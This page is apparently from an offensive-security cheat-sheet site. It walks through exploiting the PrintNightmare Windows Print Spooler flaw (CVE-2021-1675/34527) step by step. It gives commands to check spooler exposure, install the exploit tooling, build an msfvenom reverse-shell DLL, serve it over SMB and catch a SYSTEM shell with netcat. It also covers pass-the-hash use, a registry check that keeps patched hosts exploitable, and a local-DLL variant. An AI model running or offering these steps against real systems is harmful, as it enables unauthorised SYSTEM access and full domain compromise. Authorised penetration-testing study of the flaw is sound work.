Skip to content
HackIndex.io

PrintNightmare – Print Spooler RCE to SYSTEM

3 min read Created Mar 11, 2026 Last updated Aug 11, 2026

PrintNightmare abuses the RpcAddPrinterDriverEx function in the Windows Print Spooler service to load an arbitrary DLL as SYSTEM. Any authenticated domain user can trigger it: no local admin required. Because the Print Spooler runs on Domain Controllers by default, a single low-privilege domain account can lead directly to full domain compromise.

Two CVEs cover the attack surface: CVE-2021-1675 (original LPE/RCE) and CVE-2021-34527 (remote RCE, more critical). The exploit technique is the same for both.

Patched systems may still be vulnerable if the PointAndPrint registry keys are present with permissive values: check for those before assuming the target is safe.

Prerequisites

  • Valid domain credentials (any user)

  • Print Spooler running on the target

  • Network access to port 445 on the target

Confirm the spooler is exposed:

┌──(kali㉿kali)-[~]
└─$ impacket-rpcdump @$TARGET_IP | grep -E 'MS-RPRN|MS-PAR'

If MS-RPRN or MS-PAR appears in the output, the spooler is accessible and the target is potentially vulnerable.

Setting Up the Exploit

The cube0x0 exploit requires his fork of Impacket. Install it in a separate virtual environment to avoid breaking your system Impacket:

┌──(kali㉿kali)-[~]
└─$ python3 -m venv printnightmare
┌──(kali㉿kali)-[~]
└─$ source printnightmare/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip uninstall -y impacket
┌──(kali㉿kali)-[~]
└─$ pip install git+https://github.com/cube0x0/impacket
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/cube0x0/CVE-2021-1675
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-1675

Building the Malicious DLL

The exploit loads a DLL from a UNC path you host. The DLL executes as SYSTEM on the target. Build a reverse shell DLL with msfvenom:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o /tmp/shell.dll

Host it on an SMB share that the target can reach:

┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share /tmp -smb2support

Running the PrintNightmare CVE-2021-1675 Exploit

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Run the exploit pointing at your hosted DLL:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LHOST\share\shell.dll'

With a hash instead of password:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-1675.py $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH '\\$LHOST\share\shell.dll' 
[*] Connecting to ncacn_np:10.10.10.10[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_...\Amd64\UNIDRV.DLL
[*] Executing \\10.10.10.1\share\shell.dll
[*] Try 1...
[*] Stage0: 0
[*] Stage2: 0
[+] Exploit Completed

Your nc listener receives a SYSTEM shell on completion.

Patched But Still Vulnerable - PointAndPrint Check

If the target is patched but PointAndPrint is misconfigured, the exploit still works. Check the registry from a compromised host:

┌──(kali㉿kali)-[~]
└─$ reg query "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

If both of these values are present, the target is still exploitable despite the patch:

NoWarningNoElevationOnInstall = 0x1
RestrictDriverInstallationToAdministrators = 0x0

Loading a Local DLL Instead of UNC

If outbound SMB from the target is blocked, place the DLL in a path the target can already access: a share you know it mounts, or a path discovered via an earlier file write. Change the exploit argument to a local Windows path:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'C:\Windows\Temp\shell.dll'

This requires a separate file write step first. Use an authenticated SMB write or another upload method to place the DLL.

References